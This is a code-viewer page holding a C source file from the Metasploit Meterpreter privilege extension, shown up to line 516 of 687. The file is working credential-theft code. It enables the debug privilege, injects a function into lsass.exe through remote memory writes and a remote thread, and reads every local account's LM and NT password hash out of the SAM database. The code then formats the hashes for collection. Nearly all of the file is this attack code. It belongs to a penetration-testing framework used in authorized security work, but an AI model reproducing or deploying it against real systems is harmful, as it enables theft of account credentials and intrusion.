PageRenderTime 82ms CodeModel.GetById 11ms RepoModel.GetById 0ms app.codeStats 0ms

/external/source/meterpreter/source/extensions/priv/server/passwd.c

https://bitbucket.org/technopunk2099/metasploit-framework
C | 687 lines | 442 code | 130 blank | 115 comment | 142 complexity | cf714fef9cfb7c2511f2faab5dee21d7 MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, LGPL-2.1, GPL-2.0, MIT
  1. #include "precomp.h"
  2. #include <stdio.h>
  3. #include <windows.h>
  4. #include <psapi.h>
  5. #include <tchar.h>
  6. #include <ntsecapi.h>
  7. #include <string.h>
  8. #include <stdlib.h>
  9. #include <malloc.h>
  10. /* define the type of information to retrieve from the SAM */
  11. #define SAM_USER_INFO_PASSWORD_OWFS 0x12
  12. /* define types for samsrv functions */
  13. typedef struct _SAM_DOMAIN_USER {
  14. DWORD dwUserId;
  15. LSA_UNICODE_STRING wszUsername;
  16. } SAM_DOMAIN_USER;
  17. typedef struct _SAM_DOMAIN_USER_ENUMERATION {
  18. DWORD dwDomainUserCount;
  19. SAM_DOMAIN_USER *pSamDomainUser;
  20. } SAM_DOMAIN_USER_ENUMERATION;
  21. /* define the type for passing data */
  22. typedef struct _USERNAMEHASH {
  23. char *Username;
  24. DWORD Length;
  25. DWORD RID;
  26. char Hash[32];
  27. } USERNAMEHASH;
  28. /* define types for kernel32 functions */
  29. typedef FARPROC (WINAPI *GetProcAddressType)(HMODULE, LPCSTR);
  30. typedef HMODULE (WINAPI *LoadLibraryType)(LPCSTR);
  31. typedef BOOL (WINAPI *FreeLibraryType)(HMODULE);
  32. typedef HANDLE (WINAPI *OpenEventType)(DWORD, BOOL, LPCTSTR);
  33. typedef BOOL (WINAPI *SetEventType)(HANDLE);
  34. typedef BOOL (WINAPI *CloseHandleType)(HANDLE);
  35. typedef DWORD (WINAPI *WaitForSingleObjectType)(HANDLE, DWORD);
  36. /* define the context/argument structure */
  37. typedef struct {
  38. /* kernel32 function pointers */
  39. LoadLibraryType LoadLibrary;
  40. GetProcAddressType GetProcAddress;
  41. FreeLibraryType FreeLibrary;
  42. OpenEventType OpenEvent;
  43. SetEventType SetEvent;
  44. CloseHandleType CloseHandle;
  45. WaitForSingleObjectType WaitForSingleObject;
  46. /* samsrv strings */
  47. char samsrvdll[11];
  48. char samiconnect[12];
  49. char samropendomain[15];
  50. char samropenuser[13];
  51. char samrqueryinformationuser[25];
  52. char samrenumerateusersindomain[27];
  53. char samifree_sampr_user_info_buffer[32];
  54. char samifree_sampr_enumeration_buffer[34];
  55. char samrclosehandle[16];
  56. /* advapi32 strings */
  57. char advapi32dll[13];
  58. char lsaopenpolicy[14];
  59. char lsaqueryinformationpolicy[26];
  60. char lsaclose[9];
  61. /* msvcrt strings */
  62. char msvcrtdll[11];
  63. char malloc[7];
  64. char realloc[8];
  65. char free[5];
  66. char memcpy[7];
  67. /* ntdll strings */
  68. char ntdlldll[10];
  69. char wcstombs[9];
  70. /* kernel sync object strings */
  71. char ReadSyncEvent[4];
  72. char FreeSyncEvent[5];
  73. /* maximum wait time for sync */
  74. DWORD dwMillisecondsToWait;
  75. /* return values */
  76. DWORD dwDataSize;
  77. USERNAMEHASH *pUsernameHashData;
  78. } FUNCTIONARGS;
  79. /* define types for samsrv */
  80. typedef LONG NTSTATUS;
  81. typedef NTSTATUS (WINAPI *SamIConnectType)(DWORD, PHANDLE, DWORD, DWORD);
  82. typedef NTSTATUS (WINAPI *SamrOpenDomainType)(HANDLE, DWORD, PSID, HANDLE *);
  83. typedef NTSTATUS (WINAPI *SamrOpenUserType)(HANDLE, DWORD, DWORD, HANDLE *);
  84. typedef NTSTATUS (WINAPI *SamrEnumerateUsersInDomainType)(HANDLE, HANDLE *, DWORD, SAM_DOMAIN_USER_ENUMERATION **, DWORD, DWORD *);
  85. typedef NTSTATUS (WINAPI *SamrQueryInformationUserType)(HANDLE, DWORD, PVOID);
  86. typedef VOID (WINAPI *SamIFree_SAMPR_USER_INFO_BUFFERType)(PVOID, DWORD);
  87. typedef VOID (WINAPI *SamIFree_SAMPR_ENUMERATION_BUFFERType)(PVOID);
  88. typedef NTSTATUS (WINAPI *SamrCloseHandleType)(HANDLE *);
  89. /* define types for advapi32 */
  90. typedef NTSTATUS (WINAPI *LsaOpenPolicyType)(PLSA_UNICODE_STRING, PLSA_OBJECT_ATTRIBUTES, ACCESS_MASK, PLSA_HANDLE);
  91. typedef NTSTATUS (WINAPI *LsaQueryInformationPolicyType)(LSA_HANDLE, POLICY_INFORMATION_CLASS, PVOID *);
  92. typedef NTSTATUS (WINAPI *LsaCloseType)(LSA_HANDLE);
  93. /* define types for msvcrt */
  94. typedef void *(*MallocType)(size_t);
  95. typedef void *(*ReallocType)(void *, size_t);
  96. typedef void (*FreeType)(void *);
  97. typedef void *(*MemcpyType)(void *, const void *, size_t);
  98. /* define types for ntdll */
  99. typedef size_t (*WcstombsType)(char *, const wchar_t *, size_t);
  100. char *StringCombine(char *string1, char *string2) {
  101. if (string2 == NULL) { // nothing to append
  102. return string1;
  103. }
  104. if (string1 == NULL) { // create a new string
  105. string1 = (char *)malloc(strlen(string2) + 1);
  106. strncpy(string1, string2, strlen(string2) + 1);
  107. } else { // append data to the string
  108. string1 = (char *)realloc(string1, strlen(string1) + strlen(string2) + 1);
  109. string1 = strncat(string1, string2, strlen(string2) + 1);
  110. }
  111. return string1;
  112. }
  113. /* retrieve a handle to lsass.exe */
  114. HANDLE GetLsassHandle() {
  115. DWORD dwProcessList[1024];
  116. DWORD dwProcessListSize;
  117. HANDLE hProcess;
  118. char szProcessName[10];
  119. DWORD dwCount;
  120. /* enumerate all pids on the system */
  121. if (EnumProcesses(dwProcessList, sizeof(dwProcessList), &dwProcessListSize)) {
  122. /* only look in the first 256 process ids for lsass.exe */
  123. if (dwProcessListSize > sizeof(dwProcessList))
  124. dwProcessListSize = sizeof(dwProcessList);
  125. /* iterate through all pids, retrieve the executable name, and match to lsass.exe */
  126. for (dwCount = 0; dwCount < dwProcessListSize; dwCount++) {
  127. if (hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessList[dwCount])) {
  128. if (GetModuleBaseName(hProcess, NULL, szProcessName, sizeof(szProcessName))) {
  129. if (strcmp(szProcessName, "lsass.exe") == 0) {
  130. return hProcess;
  131. }
  132. }
  133. CloseHandle(hProcess);
  134. }
  135. }
  136. }
  137. return 0;
  138. }
  139. /* set the process to have the SE_DEBUG_NAME privilige */
  140. int SetAccessPriv() {
  141. HANDLE hToken;
  142. TOKEN_PRIVILEGES priv;
  143. /* open the current process token, retrieve the LUID for SeDebug, enable the privilege, reset the token information */
  144. if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
  145. if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) {
  146. priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  147. priv.PrivilegeCount = 1;
  148. if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)) {
  149. CloseHandle(hToken);
  150. return 1;
  151. }
  152. }
  153. CloseHandle(hToken);
  154. }
  155. return 0;
  156. }
  157. int dumpSAM(FUNCTIONARGS *fargs) {
  158. /* variables for samsrv function pointers */
  159. HANDLE hSamSrv = NULL, hSam = NULL;
  160. SamIConnectType pSamIConnect;
  161. SamrOpenDomainType pSamrOpenDomain;
  162. SamrEnumerateUsersInDomainType pSamrEnumerateUsersInDomain;
  163. SamrOpenUserType pSamrOpenUser;
  164. SamrQueryInformationUserType pSamrQueryInformationUser;
  165. SamIFree_SAMPR_USER_INFO_BUFFERType pSamIFree_SAMPR_USER_INFO_BUFFER;
  166. SamIFree_SAMPR_ENUMERATION_BUFFERType pSamIFree_SAMPR_ENUMERATION_BUFFER;
  167. SamrCloseHandleType pSamrCloseHandle;
  168. /* variables for samsrv functions */
  169. HANDLE hEnumerationHandle = NULL, hDomain = NULL, hUser = NULL;
  170. SAM_DOMAIN_USER_ENUMERATION *pEnumeratedUsers = NULL;
  171. DWORD dwNumberOfUsers = 0;
  172. PVOID pvUserInfo = 0;
  173. /* variables for advapi32 function pointers */
  174. HANDLE hAdvApi32 = NULL;
  175. LsaOpenPolicyType pLsaOpenPolicy;
  176. LsaQueryInformationPolicyType pLsaQueryInformationPolicy;
  177. LsaCloseType pLsaClose;
  178. /* variables for advapi32 functions */
  179. LSA_HANDLE hLSA = NULL;
  180. LSA_OBJECT_ATTRIBUTES ObjectAttributes;
  181. POLICY_ACCOUNT_DOMAIN_INFO *pAcctDomainInfo = NULL;
  182. /* variables for msvcrt */
  183. HANDLE hMsvcrt = NULL;
  184. MallocType pMalloc;
  185. ReallocType pRealloc;
  186. FreeType pFree;
  187. MemcpyType pMemcpy;
  188. /* variables for ntdll */
  189. HANDLE hNtDll = NULL;
  190. WcstombsType pWcstombs;
  191. /* general variables */
  192. NTSTATUS status;
  193. HANDLE hReadLock = NULL, hFreeLock = NULL;
  194. DWORD dwUsernameLength = 0, dwCurrentUser = 0, dwStorageIndex = 0;
  195. DWORD dwError = 0;
  196. DWORD i;
  197. /* load samsrv functions */
  198. hSamSrv = fargs->LoadLibrary(fargs->samsrvdll);
  199. if (hSamSrv == NULL) { dwError = 1; goto cleanup; }
  200. pSamIConnect = (SamIConnectType)fargs->GetProcAddress(hSamSrv, fargs->samiconnect);
  201. pSamrOpenDomain = (SamrOpenDomainType)fargs->GetProcAddress(hSamSrv, fargs->samropendomain);
  202. pSamrEnumerateUsersInDomain = (SamrEnumerateUsersInDomainType)fargs->GetProcAddress(hSamSrv, fargs->samrenumerateusersindomain);
  203. pSamrOpenUser = (SamrOpenUserType)fargs->GetProcAddress(hSamSrv, fargs->samropenuser);
  204. pSamrQueryInformationUser = (SamrQueryInformationUserType)fargs->GetProcAddress(hSamSrv, fargs->samrqueryinformationuser);
  205. pSamIFree_SAMPR_USER_INFO_BUFFER = (SamIFree_SAMPR_USER_INFO_BUFFERType)fargs->GetProcAddress(hSamSrv, fargs->samifree_sampr_user_info_buffer);
  206. pSamIFree_SAMPR_ENUMERATION_BUFFER = (SamIFree_SAMPR_ENUMERATION_BUFFERType)fargs->GetProcAddress(hSamSrv, fargs->samifree_sampr_enumeration_buffer);
  207. pSamrCloseHandle = (SamrCloseHandleType)fargs->GetProcAddress(hSamSrv, fargs->samrclosehandle);
  208. if (!pSamIConnect || !pSamrOpenDomain || !pSamrEnumerateUsersInDomain || !pSamrOpenUser || !pSamrQueryInformationUser ||
  209. !pSamIFree_SAMPR_USER_INFO_BUFFER || !pSamIFree_SAMPR_ENUMERATION_BUFFER || !pSamrCloseHandle) {
  210. dwError = 1;
  211. goto cleanup;
  212. }
  213. /* load advadpi32 functions */
  214. hAdvApi32 = fargs->LoadLibrary(fargs->advapi32dll);
  215. if (hAdvApi32 == NULL) { dwError = 1; goto cleanup; }
  216. pLsaOpenPolicy = (LsaOpenPolicyType)fargs->GetProcAddress(hAdvApi32, fargs->lsaopenpolicy);
  217. pLsaQueryInformationPolicy = (LsaQueryInformationPolicyType)fargs->GetProcAddress(hAdvApi32, fargs->lsaqueryinformationpolicy);
  218. pLsaClose = (LsaCloseType)fargs->GetProcAddress(hAdvApi32, fargs->lsaclose);
  219. if (!pLsaOpenPolicy || !pLsaQueryInformationPolicy || !pLsaClose) { dwError = 1; goto cleanup; }
  220. /* load msvcrt functions */
  221. hMsvcrt = fargs->LoadLibrary(fargs->msvcrtdll);
  222. if (hMsvcrt == NULL) { dwError = 1; goto cleanup; }
  223. pMalloc = (MallocType)fargs->GetProcAddress(hMsvcrt, fargs->malloc);
  224. pRealloc = (ReallocType)fargs->GetProcAddress(hMsvcrt, fargs->realloc);
  225. pFree = (FreeType)fargs->GetProcAddress(hMsvcrt, fargs->free);
  226. pMemcpy = (MemcpyType)fargs->GetProcAddress(hMsvcrt, fargs->memcpy);
  227. if (!pMalloc || !pRealloc || !pFree || !pMemcpy) { dwError = 1; goto cleanup; }
  228. /* load ntdll functions */
  229. hNtDll = fargs->LoadLibrary(fargs->ntdlldll);
  230. if (hNtDll == NULL) { dwError = 1; goto cleanup; }
  231. pWcstombs = (WcstombsType)fargs->GetProcAddress(hNtDll, fargs->wcstombs);
  232. if (!pWcstombs) { dwError = 1; goto cleanup; }
  233. /* initialize the LSA_OBJECT_ATTRIBUTES structure */
  234. ObjectAttributes.RootDirectory = NULL;
  235. ObjectAttributes.ObjectName = NULL;
  236. ObjectAttributes.Attributes = 0;
  237. ObjectAttributes.SecurityDescriptor = NULL;
  238. ObjectAttributes.SecurityQualityOfService = NULL;
  239. ObjectAttributes.Length = sizeof(LSA_OBJECT_ATTRIBUTES);
  240. /* open a handle to the LSA policy */
  241. if (pLsaOpenPolicy(NULL, &ObjectAttributes, POLICY_ALL_ACCESS, &hLSA) < 0) { dwError = 1; goto cleanup; }
  242. if (pLsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, &pAcctDomainInfo) < 0) { dwError = 1; goto cleanup; }
  243. /* connect to the SAM database */
  244. if (pSamIConnect(0, &hSam, MAXIMUM_ALLOWED, 1) < 0) { dwError = 1; goto cleanup; }
  245. if (pSamrOpenDomain(hSam, 0xf07ff, pAcctDomainInfo->DomainSid, &hDomain) < 0) { dwError = 1; goto cleanup; }
  246. /* enumerate all users and store username, rid, and hashes */
  247. do {
  248. status = pSamrEnumerateUsersInDomain(hDomain, &hEnumerationHandle, 0, &pEnumeratedUsers, 0xFFFF, &dwNumberOfUsers);
  249. if (status < 0) { break; } // error
  250. // 0x0 = no more, 0x105 = more users
  251. if (!dwNumberOfUsers) { break; } // exit if no users remain
  252. if (fargs->dwDataSize == 0) { // first allocation
  253. fargs->dwDataSize = dwNumberOfUsers * sizeof(USERNAMEHASH);
  254. fargs->pUsernameHashData = pMalloc(fargs->dwDataSize);
  255. } else { // subsequent allocations
  256. fargs->dwDataSize += dwNumberOfUsers * sizeof(USERNAMEHASH);
  257. fargs->pUsernameHashData = pRealloc(fargs->pUsernameHashData, fargs->dwDataSize);
  258. }
  259. if (fargs->pUsernameHashData == NULL) { dwError = 1; goto cleanup; }
  260. for (dwCurrentUser = 0; dwCurrentUser < dwNumberOfUsers; dwCurrentUser++) {
  261. if (pSamrOpenUser(hDomain, MAXIMUM_ALLOWED, pEnumeratedUsers->pSamDomainUser[dwCurrentUser].dwUserId, &hUser) < 0) { dwError = 1; goto cleanup; }
  262. if (pSamrQueryInformationUser(hUser, SAM_USER_INFO_PASSWORD_OWFS, &pvUserInfo) < 0) { dwError = 1; goto cleanup; }
  263. /* allocate space for another username */
  264. dwUsernameLength = (pEnumeratedUsers->pSamDomainUser[dwCurrentUser].wszUsername.Length / 2);
  265. (fargs->pUsernameHashData)[dwStorageIndex].Username = (char *)pMalloc(dwUsernameLength + 1);
  266. if ((fargs->pUsernameHashData)[dwStorageIndex].Username == NULL) { dwError = 1; goto cleanup; }
  267. for ( i=0; i < (dwUsernameLength + 1); i++ ) {
  268. (fargs->pUsernameHashData)[dwStorageIndex].Username[i] = 0;
  269. }
  270. /* copy over the new name, length, rid and password hash */
  271. pWcstombs((fargs->pUsernameHashData)[dwStorageIndex].Username, pEnumeratedUsers->pSamDomainUser[dwCurrentUser].wszUsername.Buffer, dwUsernameLength);
  272. (fargs->pUsernameHashData)[dwStorageIndex].Length = dwUsernameLength;
  273. (fargs->pUsernameHashData)[dwStorageIndex].RID = pEnumeratedUsers->pSamDomainUser[dwCurrentUser].dwUserId;
  274. pMemcpy((fargs->pUsernameHashData)[dwStorageIndex].Hash, pvUserInfo, 32);
  275. /* clean up */
  276. pSamIFree_SAMPR_USER_INFO_BUFFER(pvUserInfo, SAM_USER_INFO_PASSWORD_OWFS);
  277. pSamrCloseHandle(&hUser);
  278. pvUserInfo = 0;
  279. hUser = 0;
  280. /* move to the next storage element */
  281. dwStorageIndex++;
  282. }
  283. pSamIFree_SAMPR_ENUMERATION_BUFFER(pEnumeratedUsers);
  284. pEnumeratedUsers = NULL;
  285. } while (status == 0x105);
  286. /* set the event to signify that the data is ready */
  287. hReadLock = fargs->OpenEvent(EVENT_MODIFY_STATE, FALSE, fargs->ReadSyncEvent);
  288. if (hReadLock == NULL) { dwError = 1; goto cleanup; }
  289. if (fargs->SetEvent(hReadLock) == 0) { dwError = 1; goto cleanup; }
  290. /* wait for the copying to finish before freeing all the allocated memory */
  291. hFreeLock = fargs->OpenEvent(EVENT_ALL_ACCESS, FALSE, fargs->FreeSyncEvent);
  292. if (hFreeLock == NULL) { dwError = 1; goto cleanup; }
  293. if (fargs->WaitForSingleObject(hFreeLock, fargs->dwMillisecondsToWait) != WAIT_OBJECT_0) { dwError = 1; goto cleanup; }
  294. cleanup:
  295. /* free all the allocated memory */
  296. for (dwCurrentUser = 0; dwCurrentUser < dwStorageIndex; dwCurrentUser++) {
  297. pFree((fargs->pUsernameHashData)[dwCurrentUser].Username);
  298. }
  299. pFree(fargs->pUsernameHashData);
  300. /* close all handles */
  301. pSamrCloseHandle(&hDomain);
  302. pSamrCloseHandle(&hSam);
  303. pLsaClose(hLSA);
  304. /* free library handles */
  305. if (hSamSrv) { fargs->FreeLibrary(hSamSrv); }
  306. if (hAdvApi32) { fargs->FreeLibrary(hAdvApi32); }
  307. if (hMsvcrt) { fargs->FreeLibrary(hMsvcrt); }
  308. if (hNtDll) { fargs->FreeLibrary(hNtDll); }
  309. /* signal that the memory deallocation is complete */
  310. fargs->SetEvent(hReadLock);
  311. fargs->CloseHandle(hReadLock);
  312. /* release the free handle */
  313. fargs->CloseHandle(hFreeLock);
  314. /* return correct code */
  315. return dwError;
  316. }
  317. #ifdef _WIN64
  318. #define sizer setArgs
  319. #else
  320. void sizer() { __asm { ret } }
  321. #endif
  322. /* initialize the context structure - returns 0 on success, return 1 on error */
  323. int setArgs(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait) {
  324. HANDLE hLibrary = NULL;
  325. /* set loadlibrary and getprocaddress function addresses */
  326. hLibrary = LoadLibrary("kernel32");
  327. if (hLibrary == NULL) { return 1; }
  328. fargs->LoadLibrary = (LoadLibraryType)GetProcAddress(hLibrary, "LoadLibraryA");
  329. fargs->GetProcAddress = (GetProcAddressType)GetProcAddress(hLibrary, "GetProcAddress");
  330. fargs->FreeLibrary = (FreeLibraryType)GetProcAddress(hLibrary, "FreeLibrary");
  331. fargs->OpenEvent = (OpenEventType)GetProcAddress(hLibrary, "OpenEventA");
  332. fargs->SetEvent = (SetEventType)GetProcAddress(hLibrary, "SetEvent");
  333. fargs->CloseHandle = (CloseHandleType)GetProcAddress(hLibrary, "CloseHandle");
  334. fargs->WaitForSingleObject = (WaitForSingleObjectType)GetProcAddress(hLibrary, "WaitForSingleObject");
  335. if (!fargs->LoadLibrary || !fargs->GetProcAddress || !fargs->FreeLibrary || !fargs->OpenEvent || !fargs->SetEvent || !fargs->CloseHandle || !fargs->WaitForSingleObject) {
  336. CloseHandle(hLibrary);
  337. return 1;
  338. }
  339. /* initialize samsrv strings */
  340. strncpy(fargs->samsrvdll, "samsrv.dll", sizeof(fargs->samsrvdll));
  341. strncpy(fargs->samiconnect, "SamIConnect", sizeof(fargs->samiconnect));
  342. strncpy(fargs->samropendomain, "SamrOpenDomain", sizeof(fargs->samropendomain));
  343. strncpy(fargs->samropenuser, "SamrOpenUser", sizeof(fargs->samropenuser));
  344. strncpy(fargs->samrqueryinformationuser, "SamrQueryInformationUser", sizeof(fargs->samrqueryinformationuser));
  345. strncpy(fargs->samrenumerateusersindomain, "SamrEnumerateUsersInDomain", sizeof(fargs->samrenumerateusersindomain));
  346. strncpy(fargs->samifree_sampr_user_info_buffer, "SamIFree_SAMPR_USER_INFO_BUFFER", sizeof(fargs->samifree_sampr_user_info_buffer));
  347. strncpy(fargs->samifree_sampr_enumeration_buffer, "SamIFree_SAMPR_ENUMERATION_BUFFER", sizeof(fargs->samifree_sampr_enumeration_buffer));
  348. strncpy(fargs->samrclosehandle, "SamrCloseHandle", sizeof(fargs->samrclosehandle));
  349. /* initialize advapi32 strings */
  350. strncpy(fargs->advapi32dll, "advapi32.dll", sizeof(fargs->advapi32dll));
  351. strncpy(fargs->lsaopenpolicy, "LsaOpenPolicy", sizeof(fargs->lsaopenpolicy));
  352. strncpy(fargs->lsaqueryinformationpolicy, "LsaQueryInformationPolicy", sizeof(fargs->lsaqueryinformationpolicy));
  353. strncpy(fargs->lsaclose, "LsaClose", sizeof(fargs->lsaclose));
  354. /* initialize msvcrt strings */
  355. strncpy(fargs->msvcrtdll, "msvcrt.dll", sizeof(fargs->msvcrtdll));
  356. strncpy(fargs->malloc, "malloc", sizeof(fargs->malloc));
  357. strncpy(fargs->realloc, "realloc", sizeof(fargs->realloc));
  358. strncpy(fargs->free, "free", sizeof(fargs->free));
  359. strncpy(fargs->memcpy, "memcpy", sizeof(fargs->memcpy));
  360. /* initialize ntdll strings */
  361. strncpy(fargs->ntdlldll, "ntdll.dll", sizeof(fargs->ntdlldll));
  362. strncpy(fargs->wcstombs, "wcstombs", sizeof(fargs->wcstombs));
  363. /* initialize kernel sync objects */
  364. strncpy(fargs->ReadSyncEvent, "SAM", sizeof(fargs->ReadSyncEvent));
  365. strncpy(fargs->FreeSyncEvent, "FREE", sizeof(fargs->FreeSyncEvent));
  366. /* initialize wait time */
  367. fargs->dwMillisecondsToWait = dwMillisecondsToWait;
  368. /* initailize variables */
  369. fargs->dwDataSize = 0;
  370. fargs->pUsernameHashData = NULL;
  371. /* clean up */
  372. CloseHandle(hLibrary);
  373. return 0;
  374. }
  375. /*
  376. control function driving the dumping - return 0 on success, 1 on error
  377. dwMillisecondsToWait = basically controls how long to wait for the results
  378. */
  379. int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults) {
  380. HANDLE hThreadHandle = NULL, hLsassHandle = NULL, hReadLock = NULL, hFreeLock = NULL;
  381. LPVOID pvParameterMemory = NULL, pvFunctionMemory = NULL;
  382. int FunctionSize;
  383. SIZE_T sBytesWritten = 0, sBytesRead = 0;
  384. DWORD dwThreadId = 0, dwNumberOfUsers = 0, dwCurrentUserIndex = 0, HashIndex = 0;
  385. FUNCTIONARGS InitFunctionArguments, FinalFunctionArguments;
  386. USERNAMEHASH *UsernameHashResults = NULL;
  387. PVOID UsernameAddress = NULL;
  388. DWORD dwError = 0;
  389. char *hashstring = NULL;
  390. /* METERPRETER CODE */
  391. char buffer[100];
  392. /* END METERPRETER CODE */
  393. do {
  394. /* ORANGE control input - move this to the client perl side */
  395. if (dwMillisecondsToWait < 60000) { dwMillisecondsToWait = 60000; }
  396. if (dwMillisecondsToWait > 300000) { dwMillisecondsToWait = 300000; }
  397. /* create the event kernel sync objects */
  398. hReadLock = CreateEvent(NULL, FALSE, FALSE, "SAM");
  399. hFreeLock = CreateEvent(NULL, FALSE, FALSE, "FREE");
  400. if (!hReadLock || !hFreeLock) { dwError = 1; break; }
  401. /* calculate the function size */
  402. FunctionSize = (DWORD)sizer - (DWORD)dumpSAM;
  403. if (FunctionSize <= 0) {
  404. dprintf("Error calculating the function size.\n");
  405. dwError = 1;
  406. break;
  407. }
  408. /* set access priv */
  409. if (SetAccessPriv() == 0) {
  410. dprintf("Error setting SE_DEBUG_NAME privilege\n");
  411. dwError = 1;
  412. break;
  413. }
  414. /* get the lsass handle */
  415. hLsassHandle = GetLsassHandle();
  416. if (hLsassHandle == 0) {
  417. dprintf("Error getting lsass.exe handle.\n");
  418. dwError = 1;
  419. break;
  420. }
  421. /* set the arguments in the context structure */
  422. if (setArgs(&InitFunctionArguments, dwMillisecondsToWait)) { dwError = 1; break; }
  423. /* allocate memory for the context structure */
  424. pvParameterMemory = VirtualAllocEx(hLsassHandle, NULL, sizeof(FUNCTIONARGS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  425. if (pvParameterMemory == NULL) { dwError = 1; break; }
  426. /* write context structure into remote process */
  427. if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &sBytesWritten) == 0) { dwError = 1; break; }
  428. if (sBytesWritten != sizeof(InitFunctionArguments)) { dwError = 1; break; }
  429. sBytesWritten = 0;
  430. /* allocate memory for the function */
  431. pvFunctionMemory = VirtualAllocEx(hLsassHandle, NULL, FunctionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  432. if (pvFunctionMemory == NULL) { dwError = 1; break; }
  433. /* write the function into the remote process */
  434. if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dumpSAM, FunctionSize, &sBytesWritten) == 0) { dwError = 1; break; }
  435. if (sBytesWritten != FunctionSize) { dwError = 1; break; }
  436. sBytesWritten = 0;
  437. /* start the remote thread */
  438. if ((hThreadHandle = CreateRemoteThread(hLsassHandle, NULL, 0, (LPTHREAD_START_ROUTINE)pvFunctionMemory, pvParameterMemory, 0, &dwThreadId)) == NULL) { dwError = 1; break; }
  439. /* wait until the data is ready to be collected */
  440. if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
  441. dprintf("Timed out waiting for the data to be collected.\n");
  442. dwError = 1;
  443. break;
  444. }
  445. /* read results of the injected function */
  446. if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &sBytesRead) == 0) { dwError = 1; break; }
  447. if (sBytesRead != sizeof(InitFunctionArguments)) { dwError = 1; break; }
  448. sBytesRead = 0;
  449. /* allocate space for the results */
  450. UsernameHashResults = (USERNAMEHASH *)malloc(FinalFunctionArguments.dwDataSize);
  451. if (UsernameHashResults == NULL) { dwError = 1; break; }
  452. /* determine the number of elements and copy over the data */
  453. dwNumberOfUsers = FinalFunctionArguments.dwDataSize / sizeof(USERNAMEHASH);
  454. /* copy the context structure */
  455. if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &sBytesRead) == 0) { break; }
  456. if (sBytesRead != FinalFunctionArguments.dwDataSize) { break; }
  457. sBytesRead = 0;
  458. // save the old mem addy, malloc new space, copy over the data, free the old mem addy
  459. for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
  460. UsernameAddress = UsernameHashResults[dwCurrentUserIndex].Username;
  461. UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length + 1);
  462. if (UsernameHashResults[dwCurrentUserIndex].Username == NULL) { dwError = 1; break; }
  463. if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0) { dwError = 1; break; }
  464. if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length) { dwError = 1; break; }
  465. UsernameHashResults[dwCurrentUserIndex].Username[ UsernameHashResults[dwCurrentUserIndex].Length ] = 0;
  466. }
  467. /* signal that all data has been read and wait for the remote memory to be free'd */
  468. if (SetEvent(hFreeLock) == 0) { dwError = 1; break; }
  469. if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
  470. dprintf("The timeout hit.\n");
  471. dwError = 1;
  472. break;
  473. }
  474. /* display the results and free the malloc'd memory for the username */
  475. for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
  476. /* METERPRETER CODE */
  477. hashstring = StringCombine(hashstring, UsernameHashResults[dwCurrentUserIndex].Username);
  478. hashstring = StringCombine(hashstring, ":");
  479. _snprintf(buffer, 30, "%d", UsernameHashResults[dwCurrentUserIndex].RID);
  480. hashstring = StringCombine(hashstring, buffer);
  481. hashstring = StringCombine(hashstring, ":");
  482. /* END METERPRETER CODE */
  483. //printf("%s:%d:", UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].RID);
  484. for (HashIndex = 16; HashIndex < 32; HashIndex++) {
  485. /* ORANGE - insert check for ***NO PASSWORD***
  486. if( (regData[4] == 0x35b4d3aa) && (regData[5] == 0xee0414b5)
  487. && (regData[6] == 0x35b4d3aa) && (regData[7] == 0xee0414b5) )
  488. sprintf( LMdata, "NO PASSWORD*********************" );
  489. */
  490. _snprintf(buffer, 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
  491. hashstring = StringCombine(hashstring, buffer);
  492. //printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
  493. }
  494. hashstring = StringCombine(hashstring, ":");
  495. //printf(":");
  496. for (HashIndex = 0; HashIndex < 16; HashIndex++) {
  497. /* ORANGE - insert check for ***NO PASSWORD***
  498. if( (regData[0] == 0xe0cfd631) && (regData[1] == 0x31e96ad1)
  499. && (regData[2] == 0xd7593cb7) && (regData[3] == 0xc089c0e0) )
  500. sprintf( NTdata, "NO PASSWORD*********************" );
  501. */
  502. _snprintf(buffer, 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
  503. hashstring = StringCombine(hashstring, buffer);
  504. //printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
  505. }
  506. hashstring = StringCombine(hashstring, ":::\n");
  507. //printf(":::\n");
  508. }
  509. } while(0);
  510. /* relesase the event objects */
  511. if (hReadLock) { CloseHandle(hReadLock); }
  512. if (hFreeLock) { CloseHandle(hFreeLock); }
  513. /* close handle to lsass */
  514. if (hLsassHandle) { CloseHandle(hLsassHandle); }
  515. /* free the context structure and the injected function and the results */
  516. if (pvParameterMemory) { VirtualFreeEx(hLsassHandle, pvParameterMemory, sizeof(FUNCTIONARGS), MEM_RELEASE); }
